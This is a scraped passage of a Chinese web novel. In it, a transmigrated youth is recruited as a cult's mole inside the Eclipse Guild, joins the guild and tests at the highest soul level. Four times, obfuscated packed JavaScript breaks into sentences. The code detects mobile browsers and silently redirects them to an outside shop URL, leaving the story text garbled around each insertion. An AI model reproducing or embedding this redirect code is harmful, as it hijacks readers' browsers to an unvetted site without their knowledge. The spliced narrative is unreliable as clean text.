林格熟练的说着有关至高神教的赞美,声音也符合此刻心境的越来越激昂,可他低垂着的眼眸中却闪过浓浓的疑惑。 黑袍主祭打断林格:“你今天,遇到了日食公会的人。” 林格像是明白了什么,大声喊冤:“大人,我今天遇到了圣物,又正好遇到了来处理的日食公会的人,配合他们的审问而已。大人,这真的只是一个巧合,我也没有暴露任何关于我教的事。” “不,教会并不怀疑你的忠诚。相反,这会是一个荣耀。” 黑袍主祭解释:“教会长久以来一直在实行一个计划,选拔那些有实力,又对我主忠诚的教徒加入日食公会,解救那些圣物,为我教做出伟大的奉献。” “这些被选中的人,则会成为我教的备选圣子、圣女,只有最先完成任务的,才会成为我教的唯一。” “唯一一个的,地位仅次于大主教的存在。” “而你,就是有资格成为圣子的人之一。” 黑袍主祭停顿了一会儿,给林格留出一些反应时间后,说:“有什么疑惑,你可以问。” 林格的表情有震惊,也有些茫然:“为什么选我?” “因为你对我主的忠诚,也因为你靠近圣物一定距离不会被影响的能力。” 黑袍主祭叹了口气:“原本,我们是打算让你的父母在教你几年,再告诉你你有资格成为圣子的事的,可惜,你父母遇到了渣滓。” “我不得不提前来了。” 林格心中泛起阵阵波涛,他疯狂思考着一个真正的教徒此刻该做些什么,最后,他抬头看了一眼黑袍主祭,好让对方能够看清自己坚定的目光,又低下头激动道:“我愿意为我教奉献自己!” 黑袍主教轻笑了一声:“很好,教会就需要你这样聪明又忠诚的人。那么,从现在开始,你就是至高神教的备选圣子之一。” “至于后面该怎么做……你今天遇到日食公会的人,他们应该有邀请你加入。” 林格激动的表情转为惊讶:“是的,他们看出了我的能力。” 黑袍主教并没有解释什么,递给林格一张纸条:“想要租住房子,可以选择这里。” “为了保证你的安全,我们不会轻易再和你接触。” “成功加入日食公会只是对你的考验,第一个正式任务是什么,就看你能在日食公会能做到什么地步了。等你达成条件的时候,我们自然会联系你。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352914|199630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他再次重复:“这是为了你的安全。” 接过纸条,林格郑重点头:“我一定不会让教会失望。” 黑袍主祭起身离开,如同他来的时候一样,悄无声息。 林格面无表情的坐在地上,眼睛盯着如同黑洞一般的门口,等过了大概半个小时,他才猛地起身到一楼检查。 打开一楼不常用的煤气灯,林格仔细查看门窗,发现完好无损没有被撬过的痕迹,其余地方大致看了下也和平时别无二致,那个人究竟是怎么进来的? 林格眉头紧锁,返回二楼。 坐在沙发上,往后靠时冰凉的触感让林格不禁打了个颤,他这才发现自己后背的衣服已经湿透。 一切都太突然了。 林格抖着手抹了把额头的冷汗。 在看到来人的第一眼,他毫不怀疑,如果刚才答错一句或者表现出一丁点异常,今夜就是自己的死期。 自从父母出事后,林格就一直在防范有关邪教的威胁。他等到了,可他却生不出一点与黑袍主祭对抗的想法。 这不是基于体格,力量方面的判断,而是对方到来之后的一切从容动作背后所隐藏的诡谲。 一个成年男人能做到一切动作悄无声息吗?关键是,刚才那么近的距离下,他都没有听到任何的脚步声以及其他声响,那人行动的时候就像幽灵一般。 明明房间里能够看到两个人,可不论怎么努力,都只能听到一个人的声响。 这不符合科学。 当然了,危险物更不科学。这个世界一定不是他目前看到的这样浅显,只是那些东西目前都不是他这个小人物可以窥探。 惊险过后,林格强迫自己冷静下来整理思绪。 黑袍主祭的到来倒是让他对之前一些事有了新的看法,以前的一些疑惑也被彻底揭开。 班尼亚夫妻无疑是爱他的,那么成为至高神教的教徒这种“好事”,他们不可能不给他。 只是八岁之前,他们从来没有在他面前提起过任何有关至高神教的事情,他们到底是什么想法现在也不重要了。 八岁之后,准确来说是八岁那年,他意外去到一起危险物事件的范围内,并且没有被危险物感染后,班尼亚夫妻才开始了对他的洗脑。 按照一般流程,成为教徒后,班尼亚夫妻就该带他去参加各种集会,并且让集会里的人知道有新的成员加入,可是他们仿佛遗忘了一般,从来没有提起过这回事。 以往的不理解,在今晚听到黑袍主祭提起“圣子”这个名号后,他大概懂了。 按照这个邪教教义里对危险物的定义,在发现他的特殊能力后,班尼亚夫妻一定会欣喜若狂的把他的事情上报给教会的高层,自此他进入高层的视野,之后的一切也被重新安排。 那些面对普通教徒的不合理,在他这个圣子备选人身上,就是合理。 圣子,说的好听,其实就是卧底而已。 卧底信不信仰至高神教并不重要,能让人听话的办法有很多,重要的是身份必须足够干净。 日食公会也不是吃素的。 对至高神教来说,卧底信仰他们才更加麻烦。只不过教会是选拔卧底的渠道之一,广撒网之下,把有资格成为卧底的人洗的干净一点,也勉强能用。 至高神教选择堆数量的办法大批的送卧底进去,消耗之下总能有人成功。 作为被选中的人之一,林格也会被修剪成他们需要的样子。 班尼亚夫妻是专属林格的修剪工具,等到样品成熟,专属工具就变成了累赘,不再被需要。 他可以肯定了,班尼亚夫妻就是死于至高神教之手。 猜错也没关系,至高神教不无辜。 5. 第 5 章 世界上哪儿来的那么多巧合。 牧羊教会的漏网之鱼正好逃窜到瓦森镇附近才想杀人,正好在林格生日的那天杀害他的养父母? 最重要的是,刚才林格说的那些被抓的教徒陷入疯狂,可不单单只是描述,他作为被害人的家属去警局监牢里见过那些教徒一面。他们是真的疯了,成为了只会无差别攻击人的疯子。 这样的疯子,怎么被通缉这么久,还流窜在距离帝都最近的瓦森镇附近没有被清理掉? 还是那句话,你可以不相信帝国的警力,但是一定要相信帝都警卫在意他们脸面的程度。 综合所有,得出真正杀害班尼亚夫妻的凶手是谁并不困难。 林格早早察觉了里面的不对劲,只是找不到真凶,就算怀疑到至高神教也不懂他们这么做的目的,今晚,他明白了。 一个一无所有,不受任何人威胁又仇视邪教的少年,面对日食公会抛出的橄榄枝,怎么可能不接受呢? 就算查出了少年的父母是邪教徒又怎样,他们已经死了,已经无法对少年再产生负面影响,甚至他们的死还能激励少年的热血,这不是最完美的吗? 至于林格会不会发现他的父母是被至高神教所杀……如果林格真的是教徒,那么他不可能怀疑,如果林格不是,那么他这个卧底的可信度就大打折扣,至高神教也会防着他。 对至高神教来说,杀了班尼亚夫妻只有好事没有坏事。他们也不在乎林格会不会被日食教会感化。 因为林格对至高神教一无所知。 他只是至高神教培养的一个炮灰而已。 而且从黑袍主祭来到离开,简单的几句话,看似温和实际上全都隐藏着威胁,也在暗示着至高神教的深不可测。只要稍微思考一下,就能发现对方已经把他的后路全部封死。 他只要不听话脱离了至高神教的掌控,不管在哪里,哪怕是日食公会,里面也有他们的人能杀他。 不听话就只有死吗? 林格吸气。 低估至高神教了。 还以为是个普通邪教,只是规模大了点,结果都强大到敢往日食公会安插卧底,对着干了。关键是,这都没有被铲除掉,至高神教依旧是本大陆第一大邪教! 那么,他今天遇到危险物又遇到了日食公会的人,是否也是至高神教的安排?黑袍主祭来得实在是时间太巧,刚才的谈话中也特意提起,有故意引林格往这方面想的嫌疑。 不管是不是,加入日食公会和成为至高神教圣子备选已经成为了定局,想再多也没用了。他这个蝼蚁一般的小人物,只能走一步看一步。 什么天助我也,明明是造化弄人。 今天可真够大起大落的。 林格原本以为自己的金手指已经随着穿越消失了,八岁那年的意外,他才知道自己的金手指竟然变了个样子。 十六岁的今天,他又后知后觉,明白自己的金手指成了养父母死亡的间接原因。 严格来说,班尼亚夫妻的死亡其实怪不到林格头上。从信仰邪教开始,他们的结局就已经注定。 只是…… 思绪翻涌,林格叹了口气。 再次检查过门窗,林格随意洗漱了一下,裹了被子心事重重地闭上眼睛。 今夜注定无法入眠。 第二天,林格简单收拾完行李,早早出了门。 这三天他一直在忙养父母葬礼、案子的事忽略了裁缝铺,现在有时间,他按照店里的账本,把养父母生前接的一些订单给挨家挨户地退掉,再按照他们裁缝铺的规矩,给一些违约金。 小镇上的人都知道他家里发生了什么事,违约倒也不会说什么,还让他好好生活不要灰心,有些人还会把赔偿塞回他手里。 林格自然拒绝了。只有一户,实在是让他无奈,不仅把赔偿金给塞了回来,还额外塞了好几张百元面值的金镑。 这可是一笔巨款。 生活里一般使用的都是铜币银币,只有一种纸币被称为金镑,和银币价值相同。 10铜币等于1银币,1000银币等于1金币。一下子给了他半枚金币,对方就算是他关系比较好的没有血缘的长辈,这笔巨款林格怎么敢随便收下? 好意心领,钱就算了,实在是太多了。 他把钱从门缝里塞回去,也不管后面的骂骂咧咧和开门声,扭头就跑。 还好,那老头是个瘸子,跑不过他。 露出个笑容,林格扭头看了眼站在门口吹胡子瞪眼的老头,停下来给对方鞠了个躬,又挥挥手道别。 这次离开,也不知道什么时候能再回来。 拿上行李,林格坐上前往帝都的马车。 帝都唯一的日食公会分会和一所警卫局挨着。三层的小楼,外表朴实无华,大门敞开着,从外面看不到一个人影。 林格在门口探头,往左边看了一眼,正好和一个女孩的目光对上。尴尬移开,又和女孩对面的青年对上了眼。 收回脑袋不自在地摸摸鼻子,林格抿了下嘴巴还没开口,女孩就已经来到他面前,微笑着柔声问道:“你好,我是芬妮。请问是有事拜托日食公会吗?” 青年衣着简单干净,手上提着一个小的行李箱,神情并不慌张,芬妮有点搞不清青年的目的。 “你好,我是林格。”林格紧了紧行李箱的提手,“昨天有个叫伊萨的人说,如果我想的话,可以申请加入日食公会。我想来试试……” “你就是林格?” “啊?你知道我?” 看着面前惊喜的芬妮,林格有点摸不着头脑。难道伊萨已经回来交代过了?可有必要这么高兴吗? “快进来。” 芬妮一把拉住林格的手腕,把人带到屋内,语调上扬:“吉恩,林格来啦,他是来入会的!” 不知道是不是林格的错觉,他总觉得吉恩看到他有点不太高兴。 他哪里惹到对方了? 等林格和吉恩互相问完好,芬妮迫不及待地插话:“我赢了,快点给钱,不许赖账!” 吉恩不情愿地从口袋里掏出五枚银币拍在芬妮手心。 芬妮“嘿嘿”一笑,拿出一枚递到林格面前:“给你,多亏你来了我才能赢,分你一点。” 林格好像有点懂了。 芬妮的性格像她的红发一样富有热情,立刻叽叽喳喳解释了起来。 简单来说,就是今天早上他们收到消息,知道了伊萨和莉莉丝在出任务途中遇到一名有天赋的少年,之后可能这名叫林格的少年有可能会来询问入会相关的事情。她和吉恩无聊就打了个赌。 芬妮赌林格会加入日食公会,吉恩赌不会,筹码是五个银币。 “没想到你下午就来了,还直接决定加入。”吉恩的表情已经带上认同,“你会为你的决定感到荣耀。” 于是刚进门还没有来得及把手提箱放下的林格,就和吉恩一起去了后院。嗯,帮忙套马车。 吉恩的不高兴只针对自己输了的这件事,对林格本人没什么意见。他还想教林格怎么固定绳扣,只是看到对方熟练的动作后就换了个话题。 “你就不好奇我为什么喊你干这个吗?” 从见面到现在,对方像是没有好奇心一样,一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352915|199630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头,点头,干活,干活。 林格看到吉恩一脸的“快来问我”的表情,忍不住笑了一下,“当然好奇。我只是还没有来得及开口而已。” 没想到吉恩先憋不住话了。 林格知道了他们的目的地——日食公会总会。 “你的事后勤处已经通知过我们了,如果你愿意加入,我们直接把你送到会里就行,之后会有人全面接手新人入会的事情。” “流程什么的,我不能告诉你,到时候你就知道了。” “这不是我负责的事情啊,我不能乱说。” “放心,大家都很好相处的,非常关爱新人,毕竟我们招个人也不容易。” “哈哈,同事?也许吧。” “……” 林格使出了各种方法套话,奈何吉恩的嘴巴更严,什么都不肯多说。 马车驶出城往东边跑去。 城外没有了限速,吉恩瞬间化身赛车手,林格张一下嘴都怕咬到自己的舌头,只好被迫闭嘴,在马车里颠簸的死去活来。 到目的地停下来的时候,他还有自己仍然在摇晃的错觉。 拎着自己的小箱子下车,林格扶着马车缓了缓身形。 “安全到达。”吉恩没有下车,两指并拢从额角扫过,大笑:“林格,这可是日食公会的正常速度,以后尽快适应哦。” “走了,再见~” 话尾的波浪号充满了捉弄到人的快乐。 林格看着眼前一眼望不到边的庄园发愣。 这就是日食公会的总会?大本营? 然后呢? 他为什么总有一种浓浓的草率感在浑身上下环绕? 钢铁的碰撞声拉回林格的思绪。庄园高耸又威严的大门角落里,一个壮汉开了扇小门走出,林格抬步迎上。 “你好……” “你应该就是林格吧?”壮汉严肃着脸,“跟我来。” 林格没敢多问,默默跟上。 庄园很大。 正对庄园门口的就是一座宏伟的六层建筑,外部看来空间感十足,外饰线条复杂但干净有规律,非常有视觉冲击力,也非常符合日食公会的牌面。 更远的地方有其他不同建筑,之间还有几个人影走动。其余的,比如守卫之类的一个都没有见到。 壮汉没有带他进入主楼,而是左拐进了一栋风格简洁的小楼。进了大门,来往的人骤然多了起来,再扫过每个房间外的铭牌内容,看来这里应该是办公楼了。 壮汉在挂有后勤部铭牌的一扇紧闭的门前停下,林格借机整理了一下自己的衣服。 “卡法森,人带来了。” 砰—— 门被离去的壮汉轻轻关上。 面对屋里两双好奇的眼睛,林格微笑:“你们好,我是林格。” 他感觉自己今天已经变身成为无情的打招呼机器。 棕色短发,一脸凶相的男人抬手抓抓头发,声音低沉:“我是后勤部部长卡法森。那个是员工。” “随便坐,我把这份文件看完就带你走入会流程。” 说完低头看了两眼文件后又补充:“很快。这该死的,永远看不完的文件,我……” 房间里有四张宽又长的办公桌。林格假装没听到卡法森后面的小声抱怨,找了张没在办公桌后的椅子一脸正色的坐下。 手提箱放在脚边,林格矜持的打量整个屋子,最后来到后勤部部长,也是要带他入会的卡法森身上。本来只想着瞄一眼就好,绝对不能让对方觉得自己没有礼貌,结果视线往那边一扫,直接被硬控了三秒才强行挪开。 6. 第 6 章 卡法森的那张桌子上堆满了文件,目测能有半米高。 进门的时候因为角度问题,林格只能看到卡法森从文件后探出的脑袋,现在在对方的办公桌左侧面坐下,刚好能看到对方整个侧面。 刚才那一眼,他就瞄到了卡法森身上与众不同的地方。 对方拿文件的那只右手,竟然是机械的! 货真价实的,从衣袖里面延伸而出的,全部由钢铁连接组合的机械结构! 林格已经震惊到呆滞。 这个世界科技树到底点在了哪里? 这么精密的假肢都能够制作出来并且安装在人的身体上了吗? 他生活在小镇十六年没错,可那是帝都周围的小镇啊,为什么他从来没有在帝都见到过类似的东西?学校老师也从来没有讲过啊! 林格忽然觉得,自己对这个世界的认知连百分之一都没有。 卡法森说的很快确实是很快。 两分钟不到,就签好文件招呼林格跟他离开。 “我先带你去宿舍把行李放下,然后带你去认认路。” “宿舍?”林格惊讶,“我之后要住在这里?” “当然。” 卡法森解答:“你们这些新人一个个的什么都不懂,像小雏鸟一样,不给你们教点技能学着保命,怎么敢放你们外出任务。” “日食公会可不是什么玩闹的地方。” “你小子,也不知道有没有认真考虑加入日食公会到底代表着什么,听伊萨两句好话就被骗来了吧。” 林格连连摇头:“不是!我知道自己在做什么。” 卡法森低笑一声:“行吧。已经踏进这里,反悔也来不及了。” 见这位后勤部部长比想象的还要和善,林格大着胆子问道:“部长,所有新人都是你亲自带领入会的吗?” “不啊,这是副部长的活儿。这不是他有事不在,我临时帮个忙。” 卡法森从口袋里拿出支烟,侧身对着林格晃了晃:“小子,不介意我抽支烟吧。” 话落,烟已经点燃放嘴里了。 林格:…… 他的意见重要吗? “日食公会,我是说整个大陆上所有的日食公会从来不会公开招人。我们收人全都靠缘分,所以每年的新人都不多,每一个都是我们的宝贝。部长亲自带新人不是什么稀奇的事,有地方的还是副会长亲自带呢。” “小子,接下来认好路,别以后连自己住哪儿都找不到。” 卡法森停下,回身用拿烟的机械右手点点他们刚出来的大楼:“这是办公楼。后勤部,财务,信息……各种乱七八糟的部分都在这里,副会长办公室也在。以后有事可以来这里找我。” “应该还记得路吧,记不得了就找人问问,你嘴巴还在。” 林格没理会卡法森的调侃,认真点头:“我知道了,记得的。” “走吧。宿舍楼。” 庄园左侧的几栋楼间隔都不是很远。 宿舍楼外表看着是一栋楼,其实里面用楼梯隔开,分成了两个不联通的空间,男左女右。 宿舍楼真的就只是个住宿的地方,没有任何规矩和注意事项。林格可以自己挑选住的楼层和房间。那些没有挂门牌号的房间就是空的,随便住,面积布局都相同,还有独立卫浴。 林格选了三层310房间。 放下行李,卡法森又带他去认了上课的地方。他们只在外面看了一眼,没有进去。 “部长,所有的新人都会来这里上课吗?”林格补充,“我是说,整个帝国。” 卡法森又续上了新的一支烟:“是。所有新人都要来培训,正式入会后,才会被分配到不同的地方。” “至于什么时候入会,就要看你们的课程什么时候考过了。” 林格下意识问:“如果一直考不过呢?” 不会被退货吧。 看出了他的担忧,卡法森摊手:“考不过那就一直考喽,中途退出是不可能退出的,除非你死。” “所以我才说,不要被伊萨骗了。” 日食公会向来只做单向生意。 林格并没有被吓到,反而想到了另外的问题:“如果我没有加入日食公会呢?就是,你们知道我有靠近危险物不被感染的能力后,我如果没有同意加入日食公会,你们会怎么办?” “好问题。当然是——” 卡法森看向林格的双眼:“你八岁那年,在帝都下城区遇上了那件事后是怎么生活的,这次你拒绝加入日食公会后,也是那样生活。” 与往常没有什么不同。 对有资格的人来说,加入日食公会只是一种选择,不是必然。 林格瞪大眼睛:“你们已经知道那件事了?” 八岁那年,养父母带着他来帝都看望朋友。 难得来一次帝都,他对什么都充满了好奇。养父母同意后,他就跟着那家人的儿子去外面玩儿了。 当时周围的小朋友们都在讨论一家新开的玩具店。 离这里有点远,隔了两条街。 一个人还有点顾忌,两个半大的孩子加起来那真的犹如脱缰野马,念头一起就立刻行动。 说句实话,帝都的治安还是很不错的。他们两个顺利找到了那家店,还在里面看了很多买不起的玩具,可惜准备回去的时候,不幸遇到了危险物。 场面很混乱。 他和小伙伴其实什么都没有察觉,刚从店里出来就看到人群疯狂的往一个方向跑,一边跑还一边喊“危险物”。他们俩被店里的人推着一起往外跑,跑了两步,最前面的人就停了下来说有治安官拦截。 这个林格学过。一般在危险物出没的地方,警卫局会和日食公会一起圈定一个范围,范围以外的人全部撤离,以内的人要在原地不动等待排查。 封锁现场后不到三分钟,他周围的人就全部倒下,抱着脑袋在地上翻滚,撕心裂肺的喊着疼。有的人没喊两声就不动了,有的人一直在喊。 他的小伙伴只喊了一声疼,就没有了气息。 那是林格第一次看到有人死在自己面前。 再一分钟,日食公会的人赶到,给那些还能动的人灌了很多不知名的液体。喂完,那些人就晕过去被送走了。 他这个现场唯一完好无损的,自然吸引了日食公会的注意。 现场简单问完话,被叮嘱这件事不要对别人提起后,他就被一名治安官送回到了养父母身边。 之后,他就再也没有接触过这件事,也不知道事情的经过。 后来因为儿子的死亡,那家人和养父母断绝了往来。 八年过去,再一次听到别人提起这件事,林格很难不惊讶。 这个世界可没有网络这种东西,能够一键查询。那件事里,就算他是唯一一个幸存者,可已经八年过去了啊,当时的资料估计都不知道压在哪个箱底了,卡法森到底是怎么把那件事和他对上号的? 而且,距离昨天遇到伊萨他们,这才过去一天吧。 不对,吉恩说早上的时候后勤部已经告诉他们了,那么他的资料只是一个晚上加一个下午而已,日食公会的人就查清楚了? 去小镇上调查的? 想起昨晚,林格心中不由得一沉。 “厉害。这就是日食公会吗?” 看到林格一脸敬佩,卡法森却哈哈大笑起来:“哈哈哈,单纯的小子。” “像你这种有异常抗性的人,我们都是单独记录过的。你的人生那么平淡,经历的大事也就那么几件,随便一问再一对应日期不就知道了吗,这有什么难的。就这么点小事,你以为要多长时间。” 林格:“……” 真的简单吗? 除了那家早已经和养父母断绝关系的人外,好像没有人知道他八年前是那件事的当事人了吧。 他可是养父母眼中至高神教的好苗子,怎么可能对别人提起。 “部长,当年那件事,我在危险物的最外围,是吗?” 卡法森点头:“见过枪瞄准的靶子吗,红心是危 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352916|199630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险物,九环的人是直接接触者,后面的都是间接接触者。” 林格问:“一环是相对安全的?” “安全个屁。你和普通人不同,对普通人来说,只有靶外是安全的。” 卡法森用右手盖住林格的脑袋,就这么带着他往前走:“这些之后以后的课上会教的,现在,我们去进行今天的唯一一项重要流程。” 那只钢铁大手盖过来时,林格已经做好了迎接沉重感的准备,可当对方覆上来后,除了微凉外没有一丝不适。有分量,但很轻柔。 就控制力来说,仿佛那只钢铁之手,是从卡法森身上长出来原装的一样。 脑袋还在别人手里,林格不敢放肆,小声问:“唯一的?刚刚那些都不算吗?” 卡法森嗤笑:“当然不算,那是老子的个人关怀。” 办公楼顶楼。 这层楼没有办公室,紧锁门上也只有门牌号看不出用途。 卡法森和一个黑裙子女人一起用钥匙打开最后一个房间的门,带着林格进入,另一个被喊上来的青年一脸认真的站在门口守门。 房间很大,也很空旷。 除了角落里一个怪模怪样,体格庞大占据了大半个房间的机器外,只有右边靠墙摆放的一个小圆桌,此外在没有任何的装饰。 圆桌很小,只够放一个巴掌大的托盘,托盘里有一把黑色的匕首。 卡法森和黑裙女人并立,看着林格严肃道:“你应该知道,危险物对人类的伤害,是作用于灵魂的。” 林格点头。 这是每个人都知道的基本信息。 “危险物有等级,人的灵魂也有等级。” “每个要加入日食公会的人,入会前唯一要进行的流程,就是测试自身的灵魂等级。” “测试时,最少要有两位部长及以上的人在场。我是后勤部部长卡法森,这位是信息部部长米伦。” 说完,卡法森把一直拿着的文件袋递给米伦,自己则从后面圆桌上拿起匕首,又去机器前取了一支尾指大小的试管。 “你要做的,就是用自己的血,装满这个试管的三分之二。” 卡法森抽出匕首,对着林格道:“你想划哪里?我技术很好的。” 林格拿着试管沉默了一下。 其实他很想问,用鼻血行不行。考虑到问完这个问题可能会导致的后果,他还是默默拔掉试管塞,伸出左手手腕。 试管有点大,手指头估计不太行。 用纱布包好伤口,林格好奇地看着卡法森把试管放进那个大机器,按顺序拉动左边的一排把手。 他很好奇这个机器要怎么运行。 “嗡”的一声,房间都好像微微颤抖了一下,齿轮转动的声音不断传来,一分钟后,机器的后面和下面冒出阵阵白烟,本体也开始轻轻颤动。外部能看到的一些结构也在疯狂运转。 卧槽?! 林格再次惊出优美家乡话。 这到底是个什么世界啊,他一个平头小百姓在这个世界真就没有一点点信息知情权了是吧。 几分钟后,机器停止运转。 卡法森上前,打开放试管的小盖子,然后不动了。 信息部部长米伦疑惑:“卡法森?” 林格紧张了一下,别是有什么问题吧。 难道他的灵魂等级其实非常低,根本做不到接触危险物还不被影响?与现实发生的事情根本对不上? 他能免疫其实全靠金手指,和他本人没有一点关系? 他该怎么解释? 关键是他对自己的情况也是一问三不知啊! 卡法森终于转身。他拿着那支小小的试管,一脸震惊的看着林格,那表情,活像是看到了一个怪物。 看清那支试管,米伦瞳孔紧缩。 试管中的红色血液,已经变成了一种深沉的黑色。 漆黑,仿佛黑洞般能够吸收周围所有的光线。 那是—— 理论上能够达到的,最高等级的灵魂颜色。 7. 第 7 章 灵魂以一种什么样的形态存在在人体之中? 要来自地球的林格来说,灵魂与肉/体,就像是垃圾桶和垃圾袋的关系。 肉/体是垃圾桶,灵魂就是那个被套在桶里的垃圾袋,需要时可以有技巧的随时拿取。 上辈子他没少看小说,书中或民俗传说里的那些设定,让他渐渐形成了这种不靠谱的想法。 重生这件事,成了他想法的佐证。 在另一个世界的今天,来自日食公会的后勤部部长的解释是:灵魂蕴含在人的血液与骨肉之中,与两者密不可分。 机器是专门测试灵魂强度的机器。 将足量的血液与机器内的特殊秘法融合,血液会根据灵魂强度变成对应的颜色。 机器从来没有失误过。 血液变成纯黑色,是第一次。 “难道要重新检测?” 林格看看包着的纱布,现在取血正好,不用划第二次了。 卡法森摇头:“不用。他们的机械物品还是很可靠的,没有坏。” 卡法森两人的心情还没有平复。排除掉机器的问题,剩下的再不敢相信也是亲眼看到的事实。这次,他们真的发现一个了不得的雏鸟。 大事件啊。 被两人用炙热的目光直勾勾的盯着,林格心里毛毛的。 从小到大,他一共遇到过两次危险物。 一次外围一次中心,原本以为他够厉害了,结果现在才发现他还能更厉害,直接干到了前无古人的程度。 难道是因为他的地球人灵魂厉害? 他消失的金手指到底是加成到了重生还是灵魂强度这件事上? 可惜没有个说明书。 卡法森和米伦小声讨论了几句,对林格道:“你先下楼,去我的办公室拿一下你的课程表。” “明天正式按照课程表上课,今天先休息。如果有事我会去宿舍找你。” 林格拿上课程表回了宿舍。 一张单人床,一个小衣柜,一张书桌,这就是宿舍的全部家具。 林格坐在单人床上沉思。 他好像,一不小心就成了日食公会里唯一的顶级存在啊。接下来,他就要走上成为世界主角的路线了? 拥有决定天赋的少年,成为日食公会倾尽全部资源培养的对象,从此修为突飞猛进,所到之处挥挥手就能搅动风云,不管是队友还是对手都会臣服在他的强大之下。振臂一呼,无数人响应,一句话就能让世界为之起舞…… 嘶—— 我这个上辈子十八这辈子十六的人生阅历,能匹配的上我的力量吗?也不是活的长见识与能力就越强的啊。 林格杞人忧天。 然而直到第二天课程结束,卡法森都没有再来找过他,他的课程也没有任何的变动。 显然,日食公会不是一般的公会。 即使是再顶级的天赋,想要入会也要先上完课程并且考试及格。 林格的日常变得规律又充实。 骑术课,重中之重。 作为目前世界上最主要的交通工具,一名合格的日食公会守夜人不会骑马,相当于废了一半。 射击课和格斗课,依旧重要。攻击与自保的首位选择。 一个考验上半身一个考验下半身,林格每天累到全瘫,根本没有半身不遂的机会。 还有文化课。 如果不会流利的读写,就要从基础的一点点学。会的话课程就简单很多,只需要学习一些处理伤口和常见疾病的医学知识就可以。 除此之外就是一些有关危险物或日食公会的基础内容详解了。 这些课程,无时无刻不在颠覆林格的认知。从前小心翼翼搜集起来的相关情报,在真正的知识面前犹如一粒沙土。 他也明白了这些内容为什么不对普通人不公开,为什么日食公会从不公开招人。 说来说去,还是灵魂强度。 卡法森说收人全靠运气还真没错。 因为有资格让日食公会发出邀请的,只有那些在直面危险物后,还能完好无损不被感染的人。 简单来说,就是接触了还没死的。 非常强硬的标准,又意外的合理。 可惜的是,他感兴趣的有关卡法森那条机械手臂的信息没有任何的讲解。他有旁敲侧击的问过老师,结果被一句“这不是你现在应该知道的”给堵了回去。直接问卡法森?他没那个胆子。 等着吧,总有一天他会自己搞清楚。 学习了一段时间,把老师和新人全都认全后,林格最大的感想就是:日食公会的新人是真的少。和他同期,还在学习中的人一共也就十几个。 这可是全国送来的人数! 除了人少外,新人们都很友好,林格还交了几个能一起上下课,吃食堂的朋友。 预想中可能会发生的冲突,打脸,仗势欺人等等小说剧情,一样都没有发生过。高强度的体能压榨下,大家每天学习已经拼尽全力,谁还有精力去搞事情。 终于,经过长达一个月的刻苦学习,林格成功通过考试可以顺利毕业,不,可以顺利入会了! 入会仪式每月有固定的时间。 五月二十日,早上九点。 通过考试的十二名新人,整齐站在庄园主楼正门前。 有资格加入日食公会的人很少。 有资格还愿意加入的人更少。 即使日食公会在整片大陆上是一个传奇般的存在,有无数的热血少年少女梦想加入,成为让人崇敬的守夜人,可获得资格时,总是绕不开那些血腥与恐怖。 不是每个人都够坦然承受。 日食公会尊重每一个不普通的普通人的选择。 而那些留下的,以后就是同伴了。 主楼的正门从里面被推开,明亮的室内,已经可以看到有不少人在里面等候。 一楼的层高很高。繁复又低调的装饰每一样都恰到好处,让宽敞的室内并不单调,也不眼花缭乱。 最醒目的装饰,是正对大门占据了正面墙的巨幅挂毯。 纯黑的底色,上面用金线织着一个鸟笼。 日食公会的徽章。 挂毯下,红毯蔓延到门口。红毯两侧站着各部的部长,尽头站着一个金发碧眼的高挑女人。 副会长娜娜。 日食公会有且只有一名会长,每个国家分会的职位最高为副会长。即使是伯亚帝国,这个日食公会的创始地也不例外。 林格深吸一口气,踩着红毯朝大厅走去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352917|199630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明加入日食公会是早已经确定的事实,可当这一刻正式来临,他依旧忍不住的激动。 从知道日食公会的存在开始,到站在这里,他已经等了太多年。 他终于,可以光明正大的去探究这个世界秘密了。 他也终于,正式踏入寻找回家可能的,一条最近的大路。 嘴角不自觉的弯起,林格跟着队伍在距离副会长三步远的地方停下。 “恭喜你们顺利通过考试。” 